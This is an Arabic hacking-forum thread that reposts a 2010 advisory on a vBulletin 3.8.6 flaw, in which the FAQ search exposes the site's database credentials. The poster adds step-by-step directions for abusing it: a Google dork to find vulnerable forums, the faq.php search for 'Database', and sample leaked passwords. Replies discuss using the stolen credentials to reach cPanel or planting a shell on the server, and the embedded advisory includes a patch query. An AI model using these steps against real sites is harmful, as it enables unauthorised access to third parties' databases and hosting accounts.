ثغرة سكربت vBulletin 3.8.6

mahmodemos · منذ /04-19-2013, 09:54 AM

3.8.6, ثغرة, سكربت, vbulletin

بسم الله الرحمن الرحيم

الــسلام عليكم ورحمة الله وبركاته

كيف حالكم ؟؟

الثغرة بسيطة جدا وما تحتاج شغل كثير

الثغرة :

كود PHP:


			
   010101010101010101010101010101010101010101010101010101010    

   0                                                       0

   1  Iranian Datacoders Security Team 2010

   0                                                       0

   010101010101010101010101010101010101010101010101010101010

 

# Original Advisory: http://forum.intern0t.net/exploits-vulnerabilities-pocs/2857-vbulletin-3-8-6-critical-information-disclosure.html

# Reference: http://www.securityfocus.com/archive/1/512575/30/0/threaded

 

# Exploit Title: vBulletin 3.8.6 faq.php Vulnerability                   

# Date: 24/07/2010                             

# Author: H-SK33PY                      

# Software Link: http://www.vbulletin.com/

# Version: 3.8.6

# Google dork : powered by vBulletin 3.8.6

# Platform / Tested on: linux

# Category: webapplications

# Code : N/A

 

#BUG:#########################################################################

 

Is perhaps one or the other known, but I find that really interesting that a great and mighty forum software like vBulletin can undermine the mistake that the MySQL password for any person to be visible.

 

The issue has been published this afternoon and vBulletin responded with a patch on it.

 

The faq.php was only indirectly affected, and serves more as an "issue" because an error was partly responsible for the phrases.

 

Where are the gaps?

 

Let's look at the /install/vbulletin-language.xml file and search for "database_ingo" - what we find? Ah interesting:

 

##################################################################################################

<phrase name="database_ingo" date="1271086009" username="Jelsoft" version="3.8.5"><![CDATA[Database Name: {$vbulletin->config['Database']['dbname']}<br />

Database Host: {$vbulletin->config['MasterServer']['servername']}<br />

Database Port: {$vbulletin->config['MasterServer']['port']}<br />

Database Username: {$vbulletin->config['MasterServer']['username']}<br />

Database Password: {$vbulletin->config['MasterServer']['password']}]]></phrase>

##################################################################################################

 

How do I use this from now?

We look for a forum, which is affected by this vulnerability, click above on "Help" / "FAQ", enter in "search terms" or "Search Word (s):" then "Database"

(or database) and a then see, aha, first hit:

 

##################################################################################################

 

Datenbank-Name: XXXXXXXXX

 

Datenbank-Server: localhost

 

Datenbank-Port: 3306

 

Datenbank-Benutzername: root

 

Datenbank-Kennwort: my4moo

##################################################################################################

 

 

Respectively English beeen at a board:

 

##################################################################################################

Database Name: pro_aXXXXXXXXXg_com

 

Database Host: localhost

 

Database Port: 3306

 

Database Username: pro_aXXXXXXXXXg

 

Database Password: gitl0st

##################################################################################################

 

On what to do with it, I think I need not dwell on it.

 

How do I protect myself?

As already posted a patch from the official vBulletin site, or by a MySQL query:

 

##################################################################################################

DELETE FROM `vb_phrase` WHERE `varname`='database_ingo' 

 

 

##################################################################################################

##################################################################################################

##################################################################################################

 

#############################################################################

Our Website : http://www.datacoders.ir

 

Special Thanks to : ccC0d3rZzz &  all iranian datacoders members

 

#############################################################################

بعضنا لا يعلم كيف يستغل الثغرة

هذه طريقة الاستغلال :

ادخل اي منتدى نسخته 3.8.6

*ويمكنك البحث في قوقل
اكتب هذه الكلمة في جوجل

Powered by vBulletin™ Version 3.8.6

رابط المنتدى يكون كذا :

www.Examole.com/vb

انت ضيف بعد vb/
هذه الكلمة
faq.php
ليصبح الرابط هكذا
www.example.com/vb/faq.php

الان في صندوق البحث

ابحث عن كلمة :
Database

ستحصل على المعلمومات

الصورة توضح اكثر

ومبروك عليك

المصدر: development-point - للمزيد تابع : قسم الثغـرات

eyvm s;vfj vBulletin 3>8>6 vbulletin

Da.MaSk · منذ /05-01-2013, 09:59 PM

وين لوحة التحكم طيب

mahmodemos · منذ /05-01-2013, 10:02 PM

اخي العزيز انتا مش رح توصل للوحة التحكم

انتا الان اخذت معلومات قاعدة البيانات

وتقدر تدخل للــ cpanel

سآرة · منذ /05-01-2013, 10:07 PM

ما شاء الله عليك
كل يوم شيئ جديد
انا فخورة اني موجودة بين عمالقة الابداع
شكرا لك
تم التقيم

i7rbi · منذ /06-25-2013, 01:13 AM

السلام عليكم
أخوي اعتقد انهم رقعوا هذي الثغره ولم تعد صالحه
وآسف ان كنت مخطأ في هذا (الاعتقاد)

ddt · منذ /06-25-2013, 03:53 AM


	المشاركة الأصلية كتبت بواسطة i7rbi


	السلام عليكم أخوي اعتقد انهم رقعوا هذي الثغره ولم تعد صالحه وآسف ان كنت مخطأ في هذا (الاعتقاد)

لاحظ تاريخ وضع الموضوع

منذ /04-19-2013, 09:54 AM

ddt · منذ /06-25-2013, 04:02 AM

هي بالفعل مرقعة لكن ليس في كل المنتديات

بس كيف اعرف رابط السي بانل بعد ما استخرجت البيانات ؟ لانه مكتوب

host:localhost

بس اليوزر والباس موجودين

ElSyad · منذ /07-19-2013, 08:34 PM

ثغرة الفاك يمكن الثغرة الي شغالة اليومين دول
بس ي حبي ممكن تكون البيانات صحيحة او تكون وهمية
تفيدك اكتر لو معاك شيل ع السيرفر
ودي لك وثغرة حلوة

mahmodemos · منذ /07-19-2013, 10:51 PM


	المشاركة الأصلية كتبت بواسطة ElSyad


	ثغرة الفاك يمكن الثغرة الي شغالة اليومين دول بس ي حبي ممكن تكون البيانات صحيحة او تكون وهمية تفيدك اكتر لو معاك شيل ع السيرفر ودي لك وثغرة حلوة

اشكرك على الرد

GENERAL AMERICA · منذ /07-30-2013, 06:56 AM

يعطيك العافية اخي محمود بارك الله فيك

المواضيع المتشابهه للموضوع: ثغرة سكربت vBulletin 3.8.6
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
نسخة منتديات,إصدار النّسخة vBulletin 5 Connect Beta 11	SnipeR	قسم المواضيع المُكررة والمُخالفة	3	01-16-2013 08:34 PM
ثغرة الفيس بوك 2014, ثغرة فيس بوك جديدة,برافيت على صقور الابداع,طريقة الكاتبة على الحائط بدون الادمن	سآرة	قسم إختراق الأجـهـزه والأيـمـيـلات	3	01-10-2013 12:06 PM

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

ثغرة سكربت vBulletin 3.8.6

بسم الله الرحمن الرحيم الــسلام عليكم ورحمة الله وبركاته كيف حالكم ؟؟ الثغرة بسيطة جدا وما تحتاج شغل كثير الثغرة :